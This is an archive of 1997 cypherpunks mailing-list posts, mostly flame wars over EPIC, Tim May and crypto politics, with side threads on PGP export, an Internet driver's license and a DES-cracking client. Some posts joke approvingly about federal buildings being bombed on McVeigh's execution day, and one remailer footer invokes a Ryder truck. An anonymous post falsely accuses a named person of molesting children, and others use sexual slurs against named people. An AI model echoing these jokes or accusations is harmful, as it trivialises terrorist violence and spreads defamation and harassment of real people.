Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 3 Jun 1997 04:45:32 +0800
To: cypherpunks@algebra.com
Subject: Re: May's Banal Rant
Message-ID: <v03102808afb8d91fbb72@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



And this is the third, and hopefully final for now, article forwarded from
that sublist discussion this morning. As before, the comments of the other
person are paraphrased.

--Tim


>Date: Mon, 2 Jun 1997 12:30:57 -0700
>To: xxxxx
>From: Tim May <tcmay@got.net>
>Subject: Re: May's Banal Rant
>Cc: xxxxx

(Expresses the view that I am smarter than Bell--damning with faint
praise?--and probably will not be arrested for the sorts of activities Bell
is alleged to have engaged in.)

>
>It depends on whether Bell is hit with "conspiracy" charges. It the
>charges are limited to (alleged) Social Security Number fraud, related tax
>charges, and (alleged) stink bomb charges, then I don't expect any visit
>from the Federales. But, one might ask, why is Bell being held without
>bail and why does the affidavit (or whatever) refer to the various other
>conspiracies he is said to have been involved in?
>
>As for my "nuke DC" rhetoric, this is classic protected speech. In fact,
>most of my comments about "50 megatons of nuclear disinfectant" and
>suchlike are recognizable to anyone with any acumen as being classic "hang
>the bastards" sentiment.
>
>(I've written more serious comments about "soft targets," expressing the
>quite accurate point of view that in these perilous times, with nerve
>gases being released in Tokyo subways, with truck bombs used or
>almost-used, with train derailments in the West, etc., that the best
>protection is to avoid living in soft targets, the "Schelling points" any
>terrorist or antigovernment group would be more likely to target. In
>classsic "kill the messenger" tradition, these comments are taken by some
>to mean I advocate bombings of these soft targets.)

(Speaks of what he views as the "discrediting" of Cypherpunks amonst
businessmen, the media, crypto programmers, politiicians, lobbyists, and
the general Net community.)


>"Businessmen" have never liked the crypto anarchist message we have
>traditionally discussed. Not since Day One.  Some have tried to _use_ us,
>to enlist our support, but none have liked our message.
>
>The "discrediting" of the Cypherpunks, now that the media knows we exist,
>is unavoidable. The NRA has similarly been "discredited." (And even
>factions within the NRA, notably the faction led by Charlton Heston, is
>denouncing factions which argue for a strong interpretation of the Second
>Amendment as "crazies." This is always the way it goes.)
>


(He thinks this "discrediting" will affect important projects and "good work.")

>As I've said in my past messages, you should write the essays you want to
>see and start the threads you want to read.
>
>--Tim May
>

My final comment. I am tempted to write up a long article analyzing how the
Cypherpunks list has changed over the past 5 years, and who has been on it
and off it. Maybe later.

Suffice it to say for now that many people have been on the list, and then
dropped off. For lots of reasons. And their reasons are not something I
feel I need to worry about. They'll do what they want to do. Some graduated
from school, some got crypto jobs, some decided they'd had enough, some
agreed with the basic views but were ready to move on, some despised our
basic outlook, some were told by their employers their subversive
activities were a career impediment, some disliked the yahoos and lunatics,
some wanted censorship and left when they didn't get it, some never
bothered to resubscribe after being dropped for one reason or another, and
so on.

Life goes on. I don't worry that we "lost" Peter Wayner, or that we "lost"
David Sternlight, and so on. Life goes on.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John W. Noerenberg" <jwn2@qualcomm.com>
Date: Tue, 3 Jun 1997 05:08:35 +0800
To: Steve <privsoft@ix.netcom.com>
Subject: Re: US grants export license for PGP
In-Reply-To: <Pine.3.89.9705281914.A17208-0100000@netcom19>
Message-ID: <v04000210afb8df72e4cf@[129.46.137.118]>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3963.1071713704.multipart/signed"

--Boundary..3963.1071713704.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 12:07 AM -0400 5/29/97, Steve wrote:
>Does this mean PGP now, or soon will, supports GAK/Key Recovery?
>Or is their something the article isn't saying?

The grant PGP, Inc obtained from Commerce permits them to be the "exporter
of record" to foreign offices of the companies listed on their application.
The companies are the Fortune 100.

As far as I know, this license has no requirement that PGP provide GAK.

john noerenberg
jwn2@qualcomm.com
  --------------------------------------------------------------------
   "We need not to be left alone.  We need to be really
    bothered once in a while."
  -- Ray Bradbury, Farhenheit 451, 1953
  --------------------------------------------------------------------



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S2VLS3Z4ZmN0VExFWGFzNnUKSE9aU081NUtDOTQ9Cj1oNXpDCi0tLS0tRU5E
IFBHUCBTSUdOQVRVUkUtLS0tLQo=
--Boundary..3963.1071713704.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 3 Jun 1997 02:38:23 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg or Berman?  (was  Re: e$: Beltway piglets and otherbarnyard animals)
In-Reply-To: <v03020922afb728ab90f3@[139.167.130.247]>
Message-ID: <v03020900afb8b3e72ca1@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:52 am -0400 on 6/2/97, Lee Tien wrote:

> >First, he led EFF to ignominious defeat with the digital telephony bill,
> >and now, like some kind of political gremlin, emerging unscathed after
> >engineering *that* jumbo-jet plane crash, he starts up EPIC, where he
> >slipstreams no-brainer ACLU court cases like CDA to stay in the beltway
> >pelleton.
>
> Marc Rotenberg never led EFF; he led CPSR-Washington which became EPIC.
>
> Bob may be thinking of Jerry Berman, who ran EFF for a few years, was
> involved in its actions re Digital Telephony, and then left to start up
> CDT.


Woops. Damn. And I was having so much fun with that plasma cannon, too. :-).

In my own defense, I have to say that it's easy to get all those
net.piglets confused, with them all piled up on top of each other at the
Washington sowbelly like that...

Nonetheless, even if I, um, revise and extend, the offending acronymous 30
words or so, it doesn't change what I said at all in the rest of my little
outburst of vitriol.

It certainly doesn't change my opinion about Mr. Rotenberg, or Mr. Berman,
or anyone else "fighting" for my "rights" at a rubber-chicken banquet, or
at a cocktail party, or on golf junket somewhere...


Dr. Froomkin, who I admire and respect very much, may call remarks like
those cannibalism (nice Carib indian word, cannibal), but for myself, I
prefer to think of it as Texas barbeque. :-).

Here, Micheal, have some of those baby back ribs over there. I just made
them myself. Just a touch of habanero in the sauce (and Pearl beer, of
course) makes all the difference in the world.

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 2 Jun 1997 22:05:56 +0800
To: froomkin@law.miami.edu
Subject: Re: May's Banal Rant
In-Reply-To: <6333@lawprof.demon.co.uk>
Message-ID: <Pine.LNX.3.91.970602140127.228A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> I don't understand this.  Of all the alphabet soup privacy groups out
> there, EPIC is the one I consider most pro-privacy and anonymity other
> than the ACLU itself.  And EPIC knows the tech better, on the whole
> (although the ACLU is quite clued-up too).  It is true that EPIC is not
> absolutist on SAFE -- and I'm not quite sure that they are right to give
> even the inch they gave to get a mile -- but they're awfully good.

I agree EPIC has been one of the better groups, but I personally feel 
none of them can ever do any good: They all sell out in the name of 
compromise.

Also, they seem to have people within them that simply do not understand 
what they are talking about, for example, Marc yesterday commented that 
he would support a law to ban private companies asking for SSNs for 
anything other than tax purposes, this is a clear misunderstanding of the 
nature of private companies and private property.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 3 Jun 1997 05:26:46 +0800
To: Marc Rotenberg <bryce@digicash.com
Subject: Re: May's Banal Rant
In-Reply-To: <v03102803afb8bf72b35a@[207.167.93.63]>
Message-ID: <v03102801afb8e68d5291@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:06 PM -0700 6/2/97, Marc Rotenberg wrote:
>I just came back from the 7th annual crypto
>conference that we've  organized in DC. Among
>the people who spoke were Carl Ellison, Eric
>Hughes, Matt Blaze, Peter Wayner, Cindy Cohn,
>Bruce Schneier. (Michael Froomkin was invited, but
>he's been out of the country. And Whit couldn't
>make it cause he's finishing his book.)
>
>Like I said, Tim May et al are behind the
>curve. You guys preach cyber anarchy but
>you're really armchair activists.
>

I've tried to ignore your "appeals to authority" criticisms of the points I
and other have made. But this is just stooping too low.

Because we were not speakers at your conference, we're "armchair activists."

Incredible.

I'll have no more to say to you, now or at any foreseeable time in the future.


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 3 Jun 1997 16:00:56 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: May's Banal Rant
In-Reply-To: <v03007800afb7f6a1b377@[207.172.46.254]>
Message-ID: <Pine.LNX.3.91.970602140412.228B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> >so often suggested, analogous to "use of a gun" in a crime, nor to "use of
> >the public mails." It is much closer to the examples I cite, language and
> >religion, than to use of a publicly-regulated monopoly like the telephones
> >or the mail. The gun situation is presumably related to the threat of
> >bodily harm...I'm not saying I agree with "use a gun, go to prison"
> >sentencing enhancements, but a stronger case can be made than for "use a
> >cipher, go to prison.
> 
> I don't need the lecture. I've made the argument better than
> you have and I've made it longer than you have. 

Here we go, you have now given up on even attempting rational argument 
(not that you ever managed to achieve it in the first place) and turned 
to throwing insults and derogatory statements.

I think more than anything else your comment yesterday about SSNs and 
private retailers indicates your need for lectures.

> I don't recall
> you protesting the Computer Fraud and Abuse Act (1984),
> working on the RTM case (a CFAA prosecution in 1988). You
> weren't involved in the FOIA case for 2600.

Don`t parade your experience of contesting cases within the system to me, 
I`m not remotely impressed. You, along with EPIC, along with all the 
other alphabet groups, have sold out to compromise, not because you 
intended to, but because that is the natural state to which such lobbying 
groups "evolve" when working with people who do not understand the nature 
of individual rights. Playing the game with the jackbooted motherfuckers 
and their masters in DC is the worst possible way to go about protecting 
our rights.

> >a. denouncing any "return address" requirements and refusing to cooperate
> >with any Congressthing who espouses such wrong-headed ideas
> 
> Great plan. I'll watch TV and let Congress pass a bill
> requiring mandatory identification for Internet users.
> Really clever.

This really isn`t the point, if you compromise, as you probably will, and 
we end up with a SAFE like "crypto in commision of a crime" provision we 
have gone up one step and down two. There can be no dealing with 
Washington nor any of the other cancers that have taken over the USA, 
removal is the only solution. 

> I'm probably in a much better position to criticize the failure
> of Tim May et al to stand up for crypto freedom than the other
> way around.

I don`t think so somehow, the cypherpunks, of whom Tim May was one of the 
founding memebers, have had effects in the past, not normally in 
legislative circles but in terms of getting the technology out there and 
available. The only solution is technical bypassing of the law, this 
along with other cypherpunkish ideas such as fully anonymous digital cash, 
chaumian mixes, uncensorable information sources, pseudonymity, DC-Nets 
etc.. will result in citizens being able to bypass state restrictions and 
disobey laws, in time it may even result in the downfall of the state. 

> >Being a rejectionist, I don't see the point of dealing with Congress. The
> >usual view is that "If you don't get involved, things will be even worse."
> >I'm not convinced of this. It's often better to not lend them any support,
> >not lend them any technical expertise, and devote all energies to
> >undermining and challenging their actions later.
> 
> And the existence proof of this proposition is . . .

You simply cannot reason with criminal poloticians, circumventing their 
restrictions and undermining the state is the way to go.

> >And helping them draft legislation only feeds the process.
> >
> >I think it was George Carlin who said, "If you think you're part of the
> >solution, you're part of the problem."
> 
> Good high school humor for a good high school philosophy.

Keep trying.

> I am underwhelmed.

I am unsuprised.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 3 Jun 1997 04:57:37 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Meet-in-the-middle attack
In-Reply-To: <199706021745.TAA08670@basement.replay.com>
Message-ID: <Pine.A41.3.95.970602144057.48724A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 2 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy C. May sexually molests little children, farm animals, and 
> inanimate objects.
> 
>              ,,,
>             ($ $)
>         -ooO-(_)-Ooo- Timmy C. May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 3 Jun 1997 04:45:08 +0800
To: Eric Murray <shamrock@netcom.com
Subject: Net Driver's License
In-Reply-To: <3.0.2.32.19970602005500.006de554@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970602151255.035e6b5c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>If an 'Internet drivers license' bill passed next week, it'd take at
>least a year to get it repealed (probably much longer).  During
>that time, if the government wished to do so, it could stage any
>number of provocative acts, blame them on 'Internet Terrorists', then
>get James Kallstron on tv to announce that the 'Terrorists' have been
>caught via their Internet Drivers Licenses.  

We've had telephones for more than 100 years with no "telephone driver's 
license".  We've had letter mail for several hundred years with no "mail 
driver's license."  We've had television for more than 60 years with no 
"television driver's license" (except in your commie countries like the UK.

There is little chance that such a law would pass and no chance that it would 
be effective if it did.

The Feds can't even effectively prevent the anonymous holding of driver's 
licenses, cars, bank accounts, credit cards, and cellular telephone accounts 
in America.  And all of those are much easier to mandate than an Internet 
Driver's License.  

For one thing, an Internet Drivers License would require the drafting, 
writing, and running of encrypted authentication protocols (to deny service
to 
non license holders) but those who control the Nets (us) couple piggyback on 
those same protocols to dodge licensure.

Think about it.  An Internet Driver's License could only license a connection 
not communication itself (1st Amendment) and a single Net connection can 
connect to a network that is big on the other side as the rest of the Net 
itself.  Cheating is way too easy.

DCF  
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 3 Jun 1997 06:36:01 +0800
To: Bryce <bryce@digicash.com>
Subject: Re: any off-line client for DES crack?
In-Reply-To: <199706021817.UAA13019@digicash.com>
Message-ID: <Pine.3.89.9706021511.A22051-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain


Are the computers completely off the net or are they behind a firewall or 
dial-up connection? If the boxes can talk to a networked UNIX box 
that is behind the same side of the firewall or have a dial-up connection, 
DESCHALL offers helper software for you.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

On Mon, 2 Jun 1997, Bryce wrote:

> 
> I'd like to train a couple of off-the-net computers to crack 
> DES.  Unfortunately there appears to be no off-line client 
> which uses files, so I can sneakernet a big batch of "try this
> keyspace" requests, leave it running for a few weeks, and then
> sneakernet the results back.
> 
> 
> Yeah, I could hack it myself, but I thought I'd recommend the 
> idea to the people who are actually coordinating the searches.
> 
> 
> (Of course the user should be able to tell if the client has 
> scored the key.  Some users may well decide not to bother 
> sneakernetting "not found" results back to the Net, but will 
> check to see if their client won.)
> 
> 
> (In case you are worried, I am good net.citizen who trims 
> Newsgroups: lines, is careful not to take the name of Kibo in 
> vain, and who never trolls for newbies by posting "follow-up to 
> this article to get free nude picture of Sandra Bullock!".  So
> _I_, therefore, would faithfully sneakernet my "key not found"
> results back to the Net.)
> 
> 
> Regards,
> 
> Zooko Journeyman
> 
> Disclaimers follow:  I am not a crook.  NOT speaking for DigiCash 
> or any other person or organization.  No PGP sig follows.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Harvey McVeigh <tm@dev.null>
Date: Tue, 3 Jun 1997 05:57:15 +0800
To: cypherpunks@toad.com
Subject: We have our exits, and our entrances...
Message-ID: <199706022133.PAA08283@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


  ...and one man, in his time, plays many parts.

To all my fans,
  I would like to thank you all for your support of our off-Broadway
production, even though it looks like we will be closing the show after
a short, eight-week run.
  Please don't shed any tears over the quick closing of the show, as the
production was put in the hands of the government from the very start 
with this end in mind.

  I would like to address the criticism of the actors who played my
defense team in the show by pointing out that their role was essentially
that of bit-players in the production, not that of supporting actors as
is usually the case in a production of this magnitude. This misunder-
standing has led to their being criticized for their low-key presence
when that is actually the role they were hired to play.

  There are also those who have heavily critqued the story-line of the
production as being unrealistic and I will address that issue.
  The actual event which caused the OKC tragedy was so bizarre that the
scriptwriters considered it too unbelievable to be dealt with in the 
final script.
  What happened was that a low-level government worker was doing an
inventory and accidentally opened the box containing the magic bullet
that killed JFK and wounded Gov. Connally. The bullet got loose and
destroyed the OKC Federal Building.
  The script writers determined that a much more believable story was
that I single-handedly performed the bombing on a day when all of the
BATF agents just happened to be out of the building. (It's true. They
were all in a bar down the street, working on the trial script.)

  I hope that you will all support me in my next role, in which I will
actually play the leading role, this time, and which we tentatively
plan to name, "Ernest Discovers Electricity."

Lee Harvey McVeigh
(.sig line left in by mistake)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 3 Jun 1997 05:04:58 +0800
To: cypherpunks@toad.com
Subject: Re: Guilty Verdict in Denver Show Trial
Message-ID: <199706022049.PAA19933@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199706021939.MAA09926@netcom18.netcom.com>, on 06/02/97 
   at 12:39 PM, mpd@netcom.com (Mike Duvos) said:

>Guilty on all 11 counts, of course. 

>Of course, once you eliminate the testimony coerced by holding witnesses
>for days and threatening them with the death penalty, the "bomb residue"
>invented by the FBI Crime Lab, and numerous other things, nothing even
>places the defendent at the site of the explosion, much less proves he
>was responsible for it. 

>Of course, to have the correct psychological effect on the Sheeple, it is
>not necessary that the government convict and execute the prepetrator. 
>Killing any government-hating militia-friendly scapegoat will do. 

>For extra credit, let's have a pool to predict the number of federal
>buildings which will blow up on the day of the execution. 

Is that how many will blow up or how many we would like to see blow up. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Tue, 3 Jun 1997 04:33:28 +0800
To: cypherpunks@algebra.com
Subject: Re: Creating a unique ID number for a dollar
In-Reply-To: <v03102801afb8a60abb53@[207.167.93.63]>
Message-ID: <97Jun2.161752edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 2 Jun 1997, Tim May wrote:

> >somewhere).  Does the US Treasury issue replacement notes if the originals
> >are
> >damaged in printing, or does it just destroy the notes and leave it at that?
> 
> Don't know.
> 
> But certainly a dollar bill burned up as part of this protocol is unknown
> to them, and would of course never be reprinted (print runs are obviously
> done in large batches, with auto-indexing of numbers across sheets, so
> "one-offs" would never be done anyway).

Theoretically they will replace old currency with new currency if they can
recover 75% or some such high value of the surface area.  Carefully cut
out the serial numbers and burn only them, then turn the damaged bills
back in for replacement (or give them away for someone else to do - I
think it is another one of those felonies to intentionally deface
currency).

You could also derive a number from the absolute time and location of the
issuer with a GPS device.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 3 Jun 1997 08:10:52 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
Message-ID: <199706022324.QAA22066@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim
> of the OKC bomber.
> 
> Tim May: "broken eggs and all that"

  "They also serve, who only stand and hate."
              - Winston David Dukehill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Tue, 3 Jun 1997 08:14:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: May's Banal Rant
In-Reply-To: <v03007800afb8f136d5bc@[204.91.138.31]>
Message-ID: <199706022331.QAA17726@netcom3.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Marky Mark Rotten writes:

> Like I said, Tim May et al are behind the
> curve. You guys preach cyber anarchy but
> you're really armchair activists.

That's "Crypto Anarchy."

> - For anyone interested in getting the most
> recent EPIC Crypto Privacy Sourcebook, we
> should have a notice on our web site by the
> end of the week.

I'll put reading the latest EPIC (spit) publication on my list of very
important things to do, right after donating copiously to the National
Brotherhood of Jackbooted Thugs, and having my private parts steam-cleaned
by Cocksucker John Gilmore. 

Armchair activists indeed. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 3 Jun 1997 08:16:39 +0800
To: cypherpunks@toad.com
Subject: Email Filter Needed
Message-ID: <199706022338.QAA22668@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


  Someone needs to write an email filter that saves the headers from
the TruthMonger (et al) posts and deletes the message. (A similar case
could be made for mute Playboy centerfold candidates.)

X-Comments:  This email message is not from "Lee Harvey McVeigh': it was
X-Comments: sent by an anonymous asshole using a remailer.
X-Comments:  Send all complaints about abuse of this remailer to
X-Comments: the Oklahoma City Federal Building in a Ryder truck.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 3 Jun 1997 06:08:36 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: May's Banal Rant
In-Reply-To: <v03007800afb8f136d5bc@[204.91.138.31]>
Message-ID: <199706022144.QAA20561@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03007800afb8f136d5bc@[204.91.138.31]>, on 06/02/97 
   at 05:06 PM, Marc Rotenberg <rotenberg@epic.org> said:



>I just came back from the 7th annual crypto
>conference that we've  organized in DC. Among
>the people who spoke were Carl Ellison, Eric
>Hughes, Matt Blaze, Peter Wayner, Cindy Cohn,
>Bruce Schneier. (Michael Froomkin was invited, but
>he's been out of the country. And Whit couldn't
>make it cause he's finishing his book.)

>Like I said, Tim May et al are behind the
>curve. You guys preach cyber anarchy but
>you're really armchair activists.

Well lets see,

While you were hobnobbing in DC today I did the following:

Spent time on the phone with PGP, Inc. going over various modifications
that I have been working on to the PGP code.

Spoke with 3 E-Mail vendors on the implementation of crypto to there
products.

Spent several hours on IRC disscussing with a group of IRC authors on the
design and implemntation of Private Encrypted channel to their IRC
products.

Exchanged E-Mail regurarding PGP/MIME update draft.

Spent the rest of the day writting & debuging crypto code.

So *EXACTLY* where are we behind the curve?

While you are playing your fanticy games in DC as self appointed defender
of "Truth, Justice, and the American Way" the rest of us were doing *REAL*
work bringing crypto to the masses.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Tue, 3 Jun 1997 05:22:18 +0800
To: Tim May <bryce@digicash.com
Subject: Re: May's Banal Rant
In-Reply-To: <199706021800.UAA12262@digicash.com>
Message-ID: <v03007800afb8f136d5bc@[204.91.138.31]>
MIME-Version: 1.0
Content-Type: text/plain




I just came back from the 7th annual crypto
conference that we've  organized in DC. Among
the people who spoke were Carl Ellison, Eric
Hughes, Matt Blaze, Peter Wayner, Cindy Cohn,
Bruce Schneier. (Michael Froomkin was invited, but
he's been out of the country. And Whit couldn't
make it cause he's finishing his book.)

Like I said, Tim May et al are behind the
curve. You guys preach cyber anarchy but
you're really armchair activists.

Marc.


- For anyone interested in getting the most
recent EPIC Crypto Privacy Sourcebook, we
should have a notice on our web site by the
end of the week.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Tue, 3 Jun 1997 08:28:29 +0800
To: frissell@panix.com
Subject: Re: Net Driver's License
In-Reply-To: <3.0.2.32.19970602151255.035e6b5c@panix.com>
Message-ID: <199706030016.RAA22310@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Duncan Frissell writes:
> >If an 'Internet drivers license' bill passed next week, it'd take at
> >least a year to get it repealed (probably much longer).  During
> >that time, if the government wished to do so, it could stage any
> >number of provocative acts, blame them on 'Internet Terrorists', then
> >get James Kallstron on tv to announce that the 'Terrorists' have been
> >caught via their Internet Drivers Licenses.

[...]

>Think about it.  An Internet Driver's License could only license a connection
> not communication itself (1st Amendment) and a single Net connection can
> connect to a network that is big on the other side as the rest of the Net
> itself.  Cheating is way too easy.

Oh, I'll agree with that.  I think that governments will do it anyhow.

>From a government standpoint it's ok if it's basically unenforceable, because
it makes a nice "dual-use" tool:  if someone the government doesn't
like is using a forged IDL, they can be busted for that.  Remember, 
wiretaps to gather evidence are now legal if they're "in good faith".
All it takes is one mention of your forged IDL, or a slip in your
code, and the secret's out.
If they do use a valid IDL, then they're traceable and can be
traffic-analyzed into revealing their "co-consiprators", then busted.

Of course these techniques will only be used against terrorists, never
against freedom fighters.

-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Tue, 3 Jun 1997 05:44:44 +0800
To: Tim May <froomkin@law.miami.edu
Subject: Re: May's Banal Rant
In-Reply-To: <6333@lawprof.demon.co.uk>
Message-ID: <v03007803afb8f6640d36@[204.91.138.31]>
MIME-Version: 1.0
Content-Type: text/plain



One other point about EPIC's role in the crypto debates -
we've done very little in the legislative realm other
than to argue for relaxation of crypto controls,
oppose DT, DT funding, and criminalization of crypto.
You want to find the folks cutting the deals, look
elsewhere.

Most of our work has been Freedom of Information Act
litigation, political organizing, and public education.
Among other things, we were the folks who got out most
of the documents about Clipper, DT, and even the DSS.

We've also organized political campaigns in the US
against Clipper, in Paris against TTP, and two
weeks ago in London against the DTI proposal.

See, another problem with the Libertarian view of the world is
you can't accept the idea that an organization in Washington,
DC does real government oversight or political advovacy. It
doesn't fit with your notecard-sized description of the world.

Free speech is wasted on closed minds.

Marc.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 3 Jun 1997 05:40:32 +0800
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Jim Bell Defense fund
In-Reply-To: <199706011641.LAA08290@manifold.algebra.com>
Message-ID: <Pine.SUN.3.96.970602172413.21910C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 1 Jun 1997, Igor Chudov @ home wrote:

> I guess everyone has forgotten about Jim Bell, but he is in no less
> need of help than he used to be.
> 
